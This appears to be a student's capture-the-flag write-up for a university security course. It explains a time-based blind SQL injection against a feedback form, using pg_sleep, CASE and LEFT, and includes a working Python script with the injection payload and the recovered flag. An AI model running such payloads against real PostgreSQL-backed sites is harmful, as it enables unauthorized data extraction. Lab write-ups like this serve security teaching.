This is a CTF problem on SQL injection. I think it is not very hard but not easy to find the idea. Here is the website. This is the homework of the Security Lecture at Saarland University. Other pages are other homework but easy to solve. If you are interested in them, send me emails to get more information.

Analysis

The first thing is to find the injection method. Now that there is a query function, there must be somewhere to inject. After scanning the source code of this web, I find this is an ajax code to send a post request to the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function submit_feedback() {
var entry = $('#feedback').val();
$.ajax({
type: 'POST',
url: "/users/feedback",
data: { feedback: entry, usr: 1 },
dataType: "html",
success: function (data) {
document.getElementById('feedback').value = '';
document.getElementById("res").innerHTML = '<h3 style="color:green;">Thank you for your feedback!</h3>';
},
error: function (xhr) {
document.getElementById("res").innerHTML = '<h3 style="color:green;">Thank you for your feedback!</h3>';
}
})
}

In the source code, entry is used to get the input from the user typing and then ajax sends a post containing the value of entry to a certain URL.

When sending the feedback to the server, the return value here is quite simple, just contain an id number of your feedback.

Experiment

First and foremost, if we want to make some SQL injection, the correct syntax used to close the query is the most important thing. There is no check on what we input so that we can type the common injection method. An apostrophe is used to close the feedback value. After that, I use the 'DEFAULT) RETURNING *; ' to camouflage the rest required parameter (usr: 1) and return value (id).

Next, we can inject some SQL query function. I tried to use 'SELECT' function to achieve something but because of the return value in the server, we cannot get other information from it. So, we need to find some other ideas to allow the server to return some useful things. The method I used here is the 'pg_sleep() ' function. It won't return any value but stop some seconds to return the original value. So, we can guess the flag based on this.

Last but not least, how to find the right flag is a problem. As we know SQL syntax cannot use a common way like other programming languages. Getting each index of the flag string is where I wasted time. Finally, I use 'CASE ' in SQL to activate the 'pg_sleep() ' function and use 'LEFT ' to achieve the first substrings to make the decision in 'CASE ' function.

Code

Because I don't the length of the flag string, I use python to make a loop to get each bit of the string by myself and the last bit must be ''}''. Here is the python code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = 'https://web19.scy-phy.net/users/feedback'
a = [chr(i) for i in range(32,126)]
# create a dictionary including all the ASCII characters we need

for i in a:
entry = "1',DEFAULT) RETURNING *; SELECT feedback, (CASE WHEN (LEFT(feedback, 6) = 'FLAG{" + i + "') THEN pg_sleep(3) END) FROM feedbacks WHERE id = '1'; --)"
print(i)
myobj = {
'feedback': entry,
'usr': '1'
}

x = requests.post(url, data = myobj)
print(x.text)

So, when it is correct, there will be a 3 seconds gap. We can record the value of i. Finally, we can get the flag: FLAG{F33db4ck_I_br0ke_your_webs1te!}